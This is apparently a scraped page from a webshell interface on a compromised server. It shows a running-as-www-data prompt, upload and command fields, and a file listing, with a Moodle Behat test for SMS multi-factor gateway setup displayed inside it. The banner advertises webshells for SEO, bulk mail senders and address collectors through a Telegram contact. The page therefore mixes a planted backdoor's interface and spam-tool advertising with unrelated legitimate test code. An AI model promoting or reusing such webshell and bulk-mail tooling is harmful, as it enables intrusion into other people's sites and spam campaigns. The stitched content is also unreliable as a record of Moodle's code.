__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@tool @tool_mfa @factor_sms
Feature: Set up SMS factor when relevant gateway is not configured
  In order configure the SMS factor
  As an admin
  I want to be directed to the SMS gateway setup when necessary

  Scenario: Configuring gateways from the SMS factor settings
    Given I log in as "admin"
    And the following config values are set as admin:
      | enabled | 1 | tool_mfa |
      | lockout | 3 | tool_mfa |
    And the following config values are set as admin:
      | enabled  | 1    | factor_sms |
      | weight   | 100  | factor_sms |
      | duration | 1800 | factor_sms |
    When I navigate to "Plugins > Admin tools > Multi-factor authentication" in site administration
    And I follow "Edit settings for the SMS mobile phone factor"
    Then I should see "To use SMS as an authentication factor, you first need to set up an SMS gateway."
    And I should see "set up an SMS gateway"
    And I follow "set up an SMS gateway"
    And I should see "Create new SMS gateway"
    And I set the following fields to these values:
      | SMS gateway provider      | AWS               |
      | Gateway name              | First AWS gateway |
      | Default country code      | 61                |
      | Access key                | key123            |
      | Secret access key         | secret456         |
      | Amazon API gateway region | ap-southeast-2    |
    And I press "Save changes"
    And I should see "SMS mobile phone"
    And the "SMS gateway" select box should contain "First AWS gateway (AWS)"
    And I follow "create a new gateway"
    And I should see "Create new SMS gateway"
    And I set the following fields to these values:
      | SMS gateway provider      | AWS               |
      | Gateway name              | Second one        |
      | Default country code      | 1                 |
      | Access key                | key1234           |
      | Secret access key         | secret4567        |
      | Amazon API gateway region | ap-southeast-2    |
    And I press "Save changes"
    And I should see "SMS mobile phone"
    And the "SMS gateway" select box should contain "First AWS gateway (AWS)"
    And the "SMS gateway" select box should contain "Second one (AWS)"

Filemanager

Name Type Size Permission Actions
behat_factor_sms.php File 1.88 KB 0777
factor_sms_login.feature File 2.47 KB 0777
factor_sms_setup.feature File 2.78 KB 0777
factor_sms_setup_gateway.feature File 2.17 KB 0777
Filemanager